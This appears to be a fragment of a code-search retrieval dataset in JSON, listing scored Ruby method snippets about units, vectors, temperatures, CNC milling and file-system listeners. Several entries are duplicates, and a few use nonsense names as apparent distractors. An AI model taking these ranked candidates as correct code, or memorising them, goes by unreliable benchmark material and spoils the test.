"docid": "6f755b9696e2fe7c8e7a92aea90f94ce",
"score": "0.5351469",
"text": "def subunit_to_unit; end",
"title": ""
},
{
"docid": "6f755b9696e2fe7c8e7a92aea90f94ce",
"score": "0.5351469",
"text": "def subunit_to_unit; end",
"title": ""
},
{
"docid": "6f755b9696e2fe7c8e7a92aea90f94ce",
"score": "0.5351469",
"text": "def subunit_to_unit; end",
"title": ""
},
{
"docid": "bac05783ab7cfeb2480c3c1d752c0616",
"score": "0.5336452",
"text": "def unitVect\n\t\tv=getVect()\n\t\tv.length =1\n\t\tv\n\tend",
"title": ""
},
{
"docid": "43a5c873fecbc786a81a2c930086d87d",
"score": "0.5330363",
"text": "def cell_matrix; end",
"title": ""
},
{
"docid": "43a5c873fecbc786a81a2c930086d87d",
"score": "0.5330363",
"text": "def cell_matrix; end",
"title": ""
},
{
"docid": "23e68854abea38716912467c6789ce17",
"score": "0.53289425",
"text": "def unit()\n return norm()\n end",
"title": ""
},
{
"docid": "63b2df5854a6ce6228d15054ed4d8ae7",
"score": "0.5328886",
"text": "def cwt\n full_weight / 100\n end",
"title": ""
},
{
"docid": "63aee6260564013b86264a6d8f6629ef",
"score": "0.53288037",
"text": "def unit\n\t\tm = magnitude().to_f\n\t\t@unit or @unit = Ftor.new(@x/m, @y/m)\n\tend",
"title": ""
},
{
"docid": "2d8e2317304c18ab84bb4024c81041ea",
"score": "0.53274876",
"text": "def unit_cost(me_level=0)\n run_cost(me_level) / product_batch_quantity\n end",
"title": ""
},
{
"docid": "19e31daaae9ac727a9ed888971a58512",
"score": "0.5326207",
"text": "def nominal_capacity_electricity_output_per_unit\n fetch(:nominal_capacity_electricity_output_per_unit) do\n input_capacity * electricity_output_conversion\n end\n end",
"title": ""
},
{
"docid": "76dc816f92989da999d8e5370b42d3c0",
"score": "0.53218424",
"text": "def chr\r\n CHARACTERS[TYPES.index(terrain)]\r\n end",
"title": ""
},
{
"docid": "137dcc1cc9f74cfcd844786f24d4120f",
"score": "0.52975756",
"text": "def unit_normal\n v = Vector[@a, @b, @c]\n v*(1/v.r)\n end",
"title": ""
},
{
"docid": "70e4fe248c4bc2ac9934b9f0d00377d8",
"score": "0.5289024",
"text": "def unit\n letters(parts[3])\n end",
"title": ""
},
{
"docid": "1b86e30ed82076571619187fe7a78398",
"score": "0.5285591",
"text": "def units\n squares.each_with_object([]) do |square, array|\n square.units.each { |unit| array << unit }\n end\n end",
"title": ""
},
{
"docid": "96e39bee36474e379c080d318b9bb336",
"score": "0.52760476",
"text": "def nominal_capacity_cooling_output_per_unit\n fetch(:nominal_capacity_cooling_output_per_unit) do\n input_capacity * cooling_output_conversion\n end\n end",
"title": ""
},
{
"docid": "8ff2e9069fcc9b14253ba137d5b33418",
"score": "0.52750045",
"text": "def get_cell_block(row,col)\r\n block_row = row / 3\r\n block_col = col / 3\r\n block = block_row * 3 + block_col\r\n return block\r\nend",
"title": ""
},
{
"docid": "17015df1e0aeb1bfec57471d95888f52",
"score": "0.5268381",
"text": "def unit_str; end",
"title": ""
},
{
"docid": "17015df1e0aeb1bfec57471d95888f52",
"score": "0.5268381",
"text": "def unit_str; end",
"title": ""
},
{
"docid": "4edbca9bcd92b1fa30d81944563c74cf",
"score": "0.5264409",
"text": "def to_base\n return self if self.is_base?\n if self.units =~ /\\A(?:temp|deg)[CRF]\\Z/\n if RUBY_VERSION < \"1.9\"\n @signature = @@KINDS.index(:temperature)\n else\n #:nocov:\n @signature = @@KINDS.key(:temperature)\n #:nocov:\n end\n base = case \n when self.is_temperature?\n self.to('tempK')\n when self.is_degree?\n self.to('degK')\n end\n return base\n end\n\n cached = ((@@base_unit_cache[self.units] * self.scalar) rescue nil)\n return cached if cached\n\n num = []\n den = []\n q = 1\n for unit in @numerator.compact do\n if @@PREFIX_VALUES[unit]\n q *= @@PREFIX_VALUES[unit]\n else\n q *= @@UNIT_VALUES[unit][:scalar] if @@UNIT_VALUES[unit]\n num << @@UNIT_VALUES[unit][:numerator] if @@UNIT_VALUES[unit] && @@UNIT_VALUES[unit][:numerator]\n den << @@UNIT_VALUES[unit][:denominator] if @@UNIT_VALUES[unit] && @@UNIT_VALUES[unit][:denominator]\n end\n end\n for unit in @denominator.compact do\n if @@PREFIX_VALUES[unit]\n q /= @@PREFIX_VALUES[unit]\n else\n q /= @@UNIT_VALUES[unit][:scalar] if @@UNIT_VALUES[unit]\n den << @@UNIT_VALUES[unit][:numerator] if @@UNIT_VALUES[unit] && @@UNIT_VALUES[unit][:numerator]\n num << @@UNIT_VALUES[unit][:denominator] if @@UNIT_VALUES[unit] && @@UNIT_VALUES[unit][:denominator]\n end\n end\n\n num = num.flatten.compact\n den = den.flatten.compact\n num = UNITY_ARRAY if num.empty?\n base= Unit.new(Unit.eliminate_terms(q,num,den))\n @@base_unit_cache[self.units]=base\n return base * @scalar\n end",
"title": ""
},
{
"docid": "07e8c4ce18a1327b7fe6c4c61c24ca07",
"score": "0.52598345",
"text": "def unit; end",
"title": ""
},
{
"docid": "df598b57e0cea386b2d809de29995d34",
"score": "0.5241839",
"text": "def ibu #######tinseth###############\n\t original_gravity = ((total_gravity / target_volume) / 1000) + 1 \n\t\tibus = 0\n\t\tif ingredients == nil\n\t\t\tibus = 0\n\t\telse\n\t\t\tingredients.each do |ingredient|\n\t\t\t\tif ingredient.amount == 0\n\t\t\t\t\tibus += 0\n\t\t\t\telsif ingredient.component.version == \"hops\"\n\t\t\t\t\tweight_oz = ingredient.amount\n\t\t\t\t\tboil_time = ingredient.boil_time\n\t\t\t\t\talpha_acids = ingredient.component.aa\n\t\t\t\t\tif weight_oz == nil || boil_time == nil || alpha_acids == nil\n\t\t\t\t\t\tibus = 0\n\t\t\t\t\telse\n\t\t\t\t\t\tibus += (1.65 * (0.000125 ** (original_gravity - 1))) * (( 1 - (2.71** (-0.04 * boil_time))) / 4.15 ) * (((alpha_acids/100) * weight_oz * 7490) / target_volume )\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tibus.to_i\n\tend",
"title": ""
},
{
"docid": "2556561647875ec1afc43c07a992470d",
"score": "0.52368605",
"text": "def nominal_capacity_heat_output_per_unit\n fetch(:nominal_capacity_heat_output_per_unit) do\n input_capacity * heat_output_conversion\n end\n end",
"title": ""
},
{
"docid": "ffd767d9467cee9920d9ad67701c2fc8",
"score": "0.52339995",
"text": "def undergrown_terebellum(minorca_smintheus, untenantable, aneurilemmic_bicylindrical)\n alliterate(supernumerariness)\n end",
"title": ""
},
{
"docid": "a7278d5415926e9d54e5984c8f8df5b4",
"score": "0.5232289",
"text": "def mkComprUnits\n end",
"title": ""
},
{
"docid": "6c89b54dfd0513b6c9b57ed59d38ef55",
"score": "0.52314526",
"text": "def units\n [self]\n end",
"title": ""
},
{
"docid": "11d38f6c0ddecda170e39fb03cacb95f",
"score": "0.52314365",
"text": "def get_111_surface(dir, monolayers, vacuum, constrain_layers = 0)\n\n if dir == \"A\"\n top_atom = self.anion\n bot_atom = self.cation\n elsif dir == \"B\"\n top_atom = self.cation\n bot_atom = self.anion\n else\n raise \"Direction must be either A or B\"\n end\n \n # The atoms on a FCC \n as1 = Atom.new(0.0, 0.0, 0.0, top_atom)\n ga1 = Atom.new(0.0, 0.0, -sqrt(3)/4*self.lattice_const, bot_atom)\n\n # The lattice Vectors\n v1 = Vector[0.5*sqrt(2), 0.0, 0.0]*self.lattice_const\n v2 = Vector[sqrt(2)*0.25, sqrt(6)*0.25, 0.0]*self.lattice_const\n v3 = Vector[sqrt(2)*0.25, sqrt(2.0/3.0)*0.25, -1*sqrt(4.0/3.0)*0.5]*self.lattice_const\n\n # The unit cell\n zb = Geometry.new([as1, ga1], [v1, v2, v3])\n\n # The Miller Indices\n millerX = [-1, 1, 0] # Orientation of the crystal pointing in the cartesian +x axis\n millerY = [1, 1, -2] # Orientation of the crystal pointing in the cartesian +y axis\n millerZ = [-1, -1, -1] # Orientation of the crystal pointing in the cartesian +z axis\n\n zb.set_miller_indices(millerX, millerY, millerZ)\n\n # Repeat the unit cell and add vacuum\n if 0 < vacuum \n # We actually repeat the unit cell monolayers+1 times because\n # I will strip off the top and bottom atoms to make the proper surface\n zb = zb.repeat(1,1,monolayers+1)\n \n bilayerSep = v3[2]\n zb.lattice_vectors[2] = Vector[0, 0, (monolayers-1)*(bilayerSep.abs) + vacuum]\n\n # Strip off the top and bottom atom\n minZ = zb.atoms.min{|a,b| a.z <=> b.z}.z\n maxZ = zb.atoms.max{|a,b| a.z <=> b.z}.z\n\n zb.atoms.reject!{|a| a.z == maxZ}\n zb.atoms.reject!{|a| a.z == minZ}\n\n # Constrain the bottom layers if requested\n if 0 < constrain_layers\n # get the min again because we removed the atoms at minZ above\n minZ = zb.atoms.min{|a,b| a.z <=> b.z}.z\n constrain_below = minZ + bilayerSep.abs*constrain_layers\n zb.atoms.each{|a|\n if (a.z < constrain_below)\n a.constrain = \".true.\"\n end\n }\n end\n end\n \n zb\n end",
"title": ""
},
{
"docid": "4918ef9c6c4bfedd4c4af0a595fe79bf",
"score": "0.5205497",
"text": "def unit(digit)\n return '' if digit.zero?\n UNITS[digit - 1]\n end",
"title": ""
},
{
"docid": "b7fe56afaa19ff3fd8cfff3bb59b1609",
"score": "0.5197719",
"text": "def raw\n cell_matrix.map do |row|\n row.map do |cell|\n cell.value\n end\n end\n end",
"title": ""
},
{
"docid": "b7fe56afaa19ff3fd8cfff3bb59b1609",
"score": "0.5197719",
"text": "def raw\n cell_matrix.map do |row|\n row.map do |cell|\n cell.value\n end\n end\n end",
"title": ""
},
{
"docid": "9840a1459f780eff224ac6b5621c275a",
"score": "0.51938784",
"text": "def main_mill_collet_holder\r\n # Wrench section\r\n wrench_depth = -0.5\r\n mill = CNCMill.new\r\n mill.min_x = 0.0 \r\n # normally min_x is set to -7.0\r\n # which puts 0X in the center\r\n # of the material. For this run\r\n # we are aligning 0 to the left\r\n # end so we have to resent our\r\n # minimum or we would loose 1/2\r\n # the movement range.\r\n mill.job_start()\r\n mill.home()\r\n mill.mount_bit(1, \"Mount bit rotozip 0.11 diam for main milling\")\r\n\r\n # TODO:Convert this to a data structure to allow easier\r\n # positioning for furture labeling\r\n\r\n xinc = 0.65\r\n xloc = 0.4\r\n mill_collet_slot(mill, xloc, Mat_mid_y, 0.0)\r\n xloc += xinc\r\n mill_collet_slot(mill, xloc, Mat_mid_y, 0.30)\r\n xloc += xinc\r\n mill_collet_slot(mill, xloc, Mat_mid_y, 0.12)\r\n xloc += xinc\r\n mill_collet_slot(mill, xloc, Mat_mid_y, 0.15)\r\n xloc += xinc\r\n mill_collet_slot(mill, xloc, Mat_mid_y, 0.18)\r\n xloc += xinc\r\n mill_collet_slot(mill, xloc, Mat_mid_y, 0.21)\r\n xloc += xinc\r\n mill_collet_slot(mill, xloc, Mat_mid_y, 0.26)\r\n xloc += xinc\r\n mill_collet_slot(mill, xloc, Mat_mid_y, 0.27)\r\n xloc += xinc\r\n\r\n # TODO:Convert this to a data structure to allow easier\r\n # positioning for furture labeling\r\n\r\n\r\n # mill the larger hex pockets\r\n xinc = 0.35\r\n xloc += (xinc * 9.0)\r\n max_x = xloc\r\n wrench_depth = -0.5\r\n print \"(max_x=\", max_x, \")\\n\"\r\n mill_hex_pocket(mill = mill, cent_x = xloc, cent_y = Mat_mid_y,\r\n diam = 0.20, depth = wrench_depth)\r\n xloc -= xinc\r\n mill.retract()\r\n\r\n mill_hex_pocket(mill = mill, cent_x = xloc, cent_y = Mat_mid_y,\r\n diam = 0.18, depth = wrench_depth)\r\n xloc -= xinc\r\n mill.retract()\r\n\r\n mill_hex_pocket(mill = mill, cent_x = xloc, cent_y = Mat_mid_y,\r\n diam = 0.13, depth = wrench_depth)\r\n xloc -= xinc\r\n mill.retract()\r\n\r\n\r\n #TODO: Software should be smart enough to automatically request\r\n # smaller bit \r\n\r\n # mill the smaller hex pockets\r\n mill.home()\r\n mill.mount_bit(2, \"Mount bit 0.026 diam for small hex\")\r\n\r\n\r\n mill_hex_pocket(mill = mill, cent_x = xloc, cent_y = Mat_mid_y,\r\n diam = 0.11, depth = wrench_depth)\r\n xloc -= xinc\r\n mill.retract()\r\n\r\n mill_hex_pocket(mill = mill, cent_x = xloc, cent_y = Mat_mid_y,\r\n diam = 0.10, depth = wrench_depth)\r\n xloc -= xinc\r\n mill.retract()\r\n\r\n mill_hex_pocket(mill = mill, cent_x = xloc, cent_y = Mat_mid_y,\r\n diam = 0.08, depth = wrench_depth)\r\n xloc -= xinc\r\n mill.retract()\r\n\r\n mill_hex_pocket(mill = mill, cent_x = xloc, cent_y = Mat_mid_y,\r\n diam = 0.06, depth = wrench_depth)\r\n xloc -= xinc\r\n mill.retract()\r\n\r\n mill_hex_pocket(mill = mill, cent_x = xloc, cent_y = Mat_mid_y,\r\n diam = 0.06, depth = wrench_depth)\r\n xloc -= xinc\r\n mill.retract()\r\n\r\n\r\n\r\n\r\n mill.home()\r\n mill.pause(\"Turn material over for milling mounting holes | top should be towards Y 0\")\r\n mill.mount_bit(1, \"Mount bit 0.11 diam for milling mounting holdes\")\r\n\r\n aCircle = CNCShapeCircle.new(mill)\r\n\r\n # mill out left mounting \r\n # hole\r\n aCircle.mill_pocket(x = 0.2,\r\n y = 0.5,\r\n diam = 0.14,\r\n depth= -1.0,\r\n island_diam= 0)\r\n\r\n # Mill out right mounting \r\n # hole\r\n aCircle.mill_pocket(x = max_x + 0.2,\r\n y = 0.5,\r\n diam = 0.14,\r\n depth= -1.0,\r\n island_diam= 0)\r\n\r\n # TODO: Add code here that will allow labeling\r\n # in english units on front of the block.\r\n\r\n\r\n\r\n\r\n mill.home()\r\n mill.job_finish()\r\n\r\nend",
"title": ""
},
{
"docid": "58227060755a2dea4c36c3d63087c8e5",
"score": "0.51905984",
"text": "def units\n return \"\" if @numerator == UNITY_ARRAY && @denominator == UNITY_ARRAY\n return @unit_name unless @unit_name.nil?\n output_n = []\n output_d =[] \n num = @numerator.clone.compact\n den = @denominator.clone.compact\n if @numerator == UNITY_ARRAY\n output_n << \"1\"\n else\n num.each_with_index do |token,index|\n if token && @@PREFIX_VALUES[token] then\n output_n << \"#{@@OUTPUT_MAP[token]}#{@@OUTPUT_MAP[num[index+1]]}\"\n num[index+1]=nil\n else\n output_n << \"#{@@OUTPUT_MAP[token]}\" if token\n end\n end\n end\n if @denominator == UNITY_ARRAY\n output_d = ['1']\n else\n den.each_with_index do |token,index|\n if token && @@PREFIX_VALUES[token] then\n output_d << \"#{@@OUTPUT_MAP[token]}#{@@OUTPUT_MAP[den[index+1]]}\"\n den[index+1]=nil\n else\n output_d << \"#{@@OUTPUT_MAP[token]}\" if token\n end\n end\n end\n on = output_n.reject {|x| x.empty?}.map {|x| [x, output_n.find_all {|z| z==x}.size]}.uniq.map {|x| (\"#{x[0]}\".strip+ (x[1] > 1 ? \"^#{x[1]}\" : ''))}\n od = output_d.reject {|x| x.empty?}.map {|x| [x, output_d.find_all {|z| z==x}.size]}.uniq.map {|x| (\"#{x[0]}\".strip+ (x[1] > 1 ? \"^#{x[1]}\" : ''))}\n out = \"#{on.join('*')}#{od == ['1'] ? '': '/'+od.join('*')}\".strip \n @unit_name = out unless self.kind == :temperature\n return out\n end",
"title": ""
},
{
"docid": "e57a89265064dafc4e6af5a515332876",
"score": "0.5190478",
"text": "def cells; end",
"title": ""
},
{
"docid": "e57a89265064dafc4e6af5a515332876",
"score": "0.5190478",
"text": "def cells; end",
"title": ""
},
{
"docid": "e57a89265064dafc4e6af5a515332876",
"score": "0.5190478",
"text": "def cells; end",
"title": ""
},
{
"docid": "e57a89265064dafc4e6af5a515332876",
"score": "0.5190478",
"text": "def cells; end",
"title": ""
},
{
"docid": "e57a89265064dafc4e6af5a515332876",
"score": "0.5190478",
"text": "def cells; end",
"title": ""
},
{
"docid": "738c02c4c9a28a5cc2ef8ee7dd81a4a8",
"score": "0.51839536",
"text": "def deg2unit_vect; end",
"title": ""
},
{
"docid": "4c0dc9e8264a76f27e21d77d00c2bb58",
"score": "0.5174851",
"text": "def celcius_to_farenheit(temp_of_boil)\n\t1.8 * temp_of_boil + 32\nend",
"title": ""
},
{
"docid": "e8edf450049feb78be51a7b087037555",
"score": "0.5173478",
"text": "def cbrt(z)\n z ** (1.0/3)\n end",
"title": ""
},
{
"docid": "5294eaf8c4a35ce3768abf33fca87272",
"score": "0.5164876",
"text": "def bmr\n if weight_units == \"pounds\"\n 370 + (9.79759519 * lean_mass)\n else\n 370 + (21.6 * lean_mass)\n end\n end",
"title": ""
},
{
"docid": "decc8a391c6243396da2f1252e242b88",
"score": "0.5162397",
"text": "def ^(num)\n #blade0 = @blade0 * num.blade0\n #blade1 = num.blade1 * @blade0 + @blade1 * num.blade0\n #blade2 = @blade0 * num.blade2 + @blade2 * num.blade0 + (@blade1[0] * num.blade1[1]) - (@blade1[1] * num.blade1[0])\n #return MultiVector2D.new(blade0,blade1[0],blade1[1],blade2)\n return MultiVector2D.new(0.5, 0.0, 0.0, 0.0).geom(self.geom(num) - num.geom(self))\n end",
"title": ""
},
{
"docid": "44a8c13ee5c2b6cc5c08468ee7d5d5f9",
"score": "0.51429826",
"text": "def cost_per_unit;end",
"title": ""
},
{
"docid": "badcda1e61dbb9e7acd2e1471e9e259b",
"score": "0.5139732",
"text": "def celsiusString\n @temp.to_s + \" degrees C\"\n end",
"title": ""
},
{
"docid": "92eb85d7eb018388917605d31eaae190",
"score": "0.5138284",
"text": "def get_unit\n return @unit\n end",
"title": ""
},
{
"docid": "c5b6f637777702d5811fa4e53aea0609",
"score": "0.51291287",
"text": "def get_unit_at(units,row,col)\n units.find{|u| u.y == row and u.x == col} \nend",
"title": ""
},
{
"docid": "b09851b2ff329e7b997ab0120b459fca",
"score": "0.5126673",
"text": "def metabolized\n (0.015 * 0.25)\n end",
"title": ""
},
{
"docid": "335f7220cf61fbfb42a190779b10d7ac",
"score": "0.5126542",
"text": "def coloss_adverbialize_basommatophorous(cramped_runnet, junglewood, nutcracker)\n end",
"title": ""
},
{
"docid": "03ed636c77e4ff4111789e06993e9f5d",
"score": "0.51204264",
"text": "def raw\n cell_matrix.map do |row|\n row.map do |cell|\n cell.value\n end\n end\n end",
"title": ""
},
{
"docid": "20f8ab7fa2189a1384dcce8677e0f189",
"score": "0.5100685",
"text": "def get_unit(key)\n 1.0 - (super - @target).abs\n end",
"title": ""
},
{
"docid": "bd4ba367cc7d33025c7777254018b4b2",
"score": "0.5082633",
"text": "def standard_unit\n Unit().standard\n end",
"title": ""
},
{
"docid": "0e1c8fec6ab33c37b597d76280e00ee5",
"score": "0.50796676",
"text": "def complement\n # First treat the case when the cover is empty:\n # the result is the tautology.\n if @cubes.empty? then\n result = Cover.new(*@variables)\n result << Cube.new(\"-\"*self.width,false)\n return result\n end\n # Otherwise...\n \n # Look for a binate variable to split on.\n binate = self.find_binate\n unless binate then\n # The cover is actually unate, complement it the fast way.\n # Step 1: Generate the following boolean matrix:\n # each \"0\" and \"1\" is transformed to \"1\"\n # each \"-\" is transformed to \"0\"\n matrix = []\n @cubes.each do |cube|\n line = \" \" * self.width\n matrix << line\n cube.each_byte.with_index do |bit,i|\n # line[i] = (bit == \"0\" or bit == \"1\") ? \"1\" : \"0\"\n line.setbyte(i, (bit == 48 or bit == 49) ? 49 : 48 )\n end\n end\n # Step 2: finds all the minimal column covers of the matrix\n mins = minimal_column_covers(matrix)\n # Step 3: generates the complent cover from the minimal\n # column covers.\n # Each minimal column cover is converted to a cube using\n # the following rules (only valid because the initial cover\n # is unate):\n # * a minimal column whose variable can be reduced to 1\n # is converted to the not of the variable\n # * a minimal column whose variable can be reduced to 0 is\n # converted to the variable\n #\n # +result+ is the final complement cover.\n result = Cover.new(*@variables)\n # print \"mins=#{mins}\\n\"\n mins.each do |min|\n # +cbits+ is the bit string describing the cube built\n # from the column cover +min+.\n cbits = \"-\" * self.width\n min.each do |col|\n # if @cubes.find {|cube| cube[col] == \"1\" } then\n if @cubes.find {|cube| cube.getbyte(col) == 49 } then\n # cbits[col] = \"0\"\n cbits.setbyte(col,48)\n else\n # cbits[col] = \"1\"\n cbits.setbyte(col,49)\n end\n end\n result << Cube.new(cbits,false)\n end\n return result\n else\n # Compute the cofactors over the binate variables.\n # cf0 = self.cofactor(binate,\"0\")\n cf0 = self.cofactor(binate,48)\n # cf1 = self.cofactor(binate,\"1\")\n cf1 = self.cofactor(binate,49)\n # Complement them.\n cf0 = cf0.complement\n cf1 = cf1.complement\n # Build the resulting complement cover as:\n # (cf0 and (not binate)) or (cf1 and binate)\n result = Cover.new(*@variables)\n # Get the index of the binate variable.\n i = @variables.index(binate)\n cf0.each_cube do |cube| # cf0 and (not binate)\n # if cube[i] != \"1\" then\n if cube.getbyte(i) != 49 then\n # Cube's binate is not \"1\" so the cube can be kept\n # cube[i] = \"0\"\n cube.setbyte(i,48)\n result << cube\n end\n end\n cf1.each_cube do |cube| # cf1 and binate\n # if cube[i] != \"0\" then\n if cube.getbyte(i) != 48 then\n # Cube's binate is not \"0\" so the cube can be kept\n # cube[i] = \"1\"\n cube.setbyte(i,49)\n result << cube\n end\n end\n return result\n end\n end",
"title": ""
},
{
"docid": "21f16fd880447b132843f80597bdfd8e",
"score": "0.5077136",
"text": "def cbrt(number)\n if number.is_a?(RubyUnits::Unit)\n (number**Rational(1, 3)).to_unit\n else\n super\n end\n end",
"title": ""
},
{
"docid": "099630db361fb9c80b150ca397a5205e",
"score": "0.507594",
"text": "def to_U\n\t\treturn \"0 B\" unless self > 0\n\n\t\tunitNames = [ \"B\", \"KB\", \"MB\", \"GB\", \"TB\" ]\n\t\t#puts self\n\t\ti = logA(self, 1024).floor\n\t\treturn \"#{(self/1024**i).round} #{unitNames[i]}\"\n\tend",
"title": ""
},
{
"docid": "12ff3c6ecd4522506e9b9b75b3f6d30f",
"score": "0.50693285",
"text": "def create_unit_as_z\n w = self/self.r\n u0 = Vector[w[1]-w[2], w[2]-w[0], w[0]-w[1]]\n u = u0/u0.r\n # Rotate u 90 degree around w.\n # ref: v = w(w・u) + (u-w(w・u))cos(90) - (u✕w)sin(90)\n v = w.inner_product(u)*w + u.outer_product(w)\n return [u, v, w]\n end",
"title": ""
},
{
"docid": "f54e83b0cc51bf525ec6a621c6a48326",
"score": "0.50666356",
"text": "def unit\n @unit\n end",
"title": ""
},
{
"docid": "575b9d1f7cb775b5028ad5ab4409c41e",
"score": "0.5064016",
"text": "def scalar\n value * unit.scalar\n end",
"title": ""
},
{
"docid": "bc6dcb850dd602dc48ab37268c10ad9b",
"score": "0.50608736",
"text": "def fuel_for_mass(mass)\n\t(mass / 3.0).floor - 2\nend",
"title": ""
},
{
"docid": "0d5ab0f08a93c0b900a015c6e73c3000",
"score": "0.50594085",
"text": "def cell_number\n cn = nil\n if self.confluency\n cn = _cell_number confluency\n else\n if self.volume and self.cell_density\n cn = self.volume * self.cell_density\n end\n end\n self.associate NUM_CELLS, to_scinote(cn) if cn\n cn\n end",
"title": ""
},
{
"docid": "8185794ef954b5b2782c5704b9642c55",
"score": "0.5055431",
"text": "def atoms\n unit.atoms\n end",
"title": ""
},
{
"docid": "8185794ef954b5b2782c5704b9642c55",
"score": "0.5055431",
"text": "def atoms\n unit.atoms\n end",
"title": ""
},
{
"docid": "7f01d8affa7dffdf46042098f87e218c",
"score": "0.5042715",
"text": "def basis\n [\n [ 1/6.0, 2/3.0, 1/6.0, 0 ],\n [ 0, 2/3.0, 1/3.0, 0 ],\n [ 0, 1/3.0, 2/3.0, 0 ],\n [ 0, 1/6.0, 2/3.0, 1/6.0 ]\n ]\n end",
"title": ""
},
{
"docid": "620f6bd99e6321adc7b50df811cf4381",
"score": "0.5039506",
"text": "def units\n @units ||= Unit.select{|u| u.dimension == dimension}.inject(Hash.new{|h, s| h[s] = []}){|h, u| h[u.system] << u;h}\n end",
"title": ""
},
{
"docid": "f6bd366d866ee207e7f45c307be279f2",
"score": "0.503883",
"text": "def energy_rest(mass)\n mass*C**2\n end",
"title": ""
},
{
"docid": "eb8c07e1e3f4751ed2a6a2b8b4d3c3cf",
"score": "0.503432",
"text": "def get_row tile\n\ttile[0].codepoints[0] - 65\nend",
"title": ""
},
{
"docid": "eb8c07e1e3f4751ed2a6a2b8b4d3c3cf",
"score": "0.503432",
"text": "def get_row tile\n\ttile[0].codepoints[0] - 65\nend",
"title": ""
},
{
"docid": "cf331ee6471aa418d9cdef0ed3cd2f2f",
"score": "0.50323313",
"text": "def basic_z_position\n return @bank == 0 ? 1001 : 2\n end",
"title": ""
},
{
"docid": "1923482bfc39494eb67417346ad67f24",
"score": "0.5030127",
"text": "def get_units_string\n @netcdf_elmt.getUnitsString()\n end",
"title": ""
},
{
"docid": "d4006f24ed15a1dd8a0f770eccd52d0d",
"score": "0.50296974",
"text": "def unit\r\n @unit\r\n end",
"title": ""
},
{
"docid": "ba46c01140f0e72615802360a9f7cba0",
"score": "0.5029624",
"text": "def celcius_to_farenheit(celcius)\n celcius * 1.8 + 32\nend",
"title": ""
},
{
"docid": "d8318d0784657f20fcbbb4e6b72b9d20",
"score": "0.50294834",
"text": "def raw\n cell_matrix.map do |row|\n row.map(&:value)\n end\n end",
"title": ""
},
{
"docid": "61fa41d1b7317b5c0800262db753a0c7",
"score": "0.5022869",
"text": "def wc\n @wc ||= begin\n row_index = sparse.row_index\n (0..n - 1).map do |idx|\n row_index[idx + 1] - row_index[idx]\n end\n end\n end",
"title": ""
},
{
"docid": "af6d1377d8c1d75b1b62aa300f6514df",
"score": "0.501839",
"text": "def unitize(value)\n if celsius?\n celsius = (value.to_f / 10.0 - 32) * 5/9\n (celsius / 5).round(1) * 5\n else\n value.to_f / 10.0\n end\n end",
"title": ""
},
{
"docid": "e67ca1f29afab7cb28bdce399c0ab6d6",
"score": "0.50128615",
"text": "def charm_totale\n charm = 0\n for member in members\n charm += member.charm\n end\n return charm\n end",
"title": ""
},
{
"docid": "acca7c90005ccfc349f4ee7f24d11f54",
"score": "0.5010861",
"text": "def right_cell_single\n if @cell_number == @grid.size - 1\n 0\n else\n @grid[@cell_number + 1]\n end\n end",
"title": ""
},
{
"docid": "4c97da8aa243d274f2ea0075ff8a05e9",
"score": "0.5005079",
"text": "def unit\n @unit\n end",
"title": ""
}
] |
e5214cf6231c3294b4b9464185e70347
|
Starts the listener by initializing the adapter and building the directory record concurrently, then it starts the adapter to watch for changes. The current thread is not blocked after starting.
|
[
{
"docid": "78acd336b629fdd4fcca1a3e6b9e3636",
"score": "0.7144328",
"text": "def start\n _signals_trap\n _init_actors\n unpause\n Celluloid::Actor[:listen_adapter].async.start\n @thread = Thread.new { _wait_for_changes }\n end",
"title": ""
}
] |
[
{
"docid": "f9184a2d029bcac2b2e6dde1c2da50f6",
"score": "0.7230236",
"text": "def start\n _init_actors\n unpause\n @stopping = false\n registry[:adapter].async.start\n Thread.new { _wait_for_changes }\n end",
"title": ""
},
{
"docid": "771aff063d71088c538a69fe9eab786e",
"score": "0.7043763",
"text": "def setup\n t = Thread.new { build_directories_records }\n @adapter = initialize_adapter\n t.join\n end",
"title": ""
},
{
"docid": "b7c71aaa103efa3e91e47c8f930185ca",
"score": "0.6620584",
"text": "def start\n $stderr.puts \"Watching filesystem events in: #{@existing_parent}\"\n\n callback = Proc.new do |modified, added, removed|\n if added.any? {|i| File.fnmatch(@watch_path, i) }\n puts \"Added: #{@watch_path}\"\n exit 0\n end\n end\n\n listener = Listen.to(@existing_parent, ignore!: [], &callback)\n listener.start\n\n # Set trap so that we can break out of `sleep`\n Signal.trap(\"INT\") do\n puts \"Exiting...\"\n exit 4\n end\n\n sleep\n end",
"title": ""
},
{
"docid": "3d998da7af537c5783f933826476a879",
"score": "0.6584292",
"text": "def init_worker\n @worker = FSEvent.new\n @worker.watch(@directory, :latency => @latency) do |changed_dirs|\n next if @paused\n\n changed_dirs.map! { |path| path.sub /\\/$/, '' }\n @callback.call(changed_dirs, {})\n end\n end",
"title": ""
},
{
"docid": "7a89e2a21f3427d842471a4c2a27b600",
"score": "0.6576935",
"text": "def start_poller\n @poller_thread = Thread.new { poll_changed_directories }\n end",
"title": ""
},
{
"docid": "0bde53ebf5688e9eeed544df82574c4f",
"score": "0.6538454",
"text": "def init_worker\n callback = Proc.new do |change|\n next if @paused\n @mutex.synchronize do\n @changed_dirs << File.dirname(change.path)\n end\n end\n\n WDM::Monitor.new.tap do |worker|\n @directories.each { |d| worker.watch_recursively(d, &callback) }\n end\n end",
"title": ""
},
{
"docid": "c9e509d5df3424a1dd97aa8e4d31fa27",
"score": "0.64747834",
"text": "def do_listening\n in_dir @config.base_path do\n\n # Notify people if we are using fallback mode\n if @config.force_poll\n puts statusbar \"Using polling fallback listener\", &:yellow\n end\n\n # Force a change to start with\n run_command\n\n params = {\n latency: 0.5,\n }\n\n params[:only] = Regexp.new(@config.filters.join(\"|\")) unless @config.filters.empty?\n params[:ignore] = Regexp.new(@config.ignored.join(\"|\")) unless @config.ignored.empty?\n\n if @config.force_poll\n params[:latency] = @config.force_poll\n params[:force_poll] = true\n end\n\n @listener = Listen.to(*@config.paths, params) do |*args|\n self.on_change *args\n end\n \n @listener.start\n end\n end",
"title": ""
},
{
"docid": "41050b35fbf3ea991424d4207139f64a",
"score": "0.64531904",
"text": "def init_worker\n worker = FChange::Notifier.new\n @directories.each do |directory|\n watcher = worker.watch(directory, :all_events, :recursive) do |event|\n next if @paused\n @mutex.synchronize do\n @changed_dirs << File.expand_path(event.watcher.path)\n end\n end\n worker.add_watcher(watcher)\n end\n worker\n end",
"title": ""
},
{
"docid": "4d31cedb28c941489b25e4092723dc43",
"score": "0.64119667",
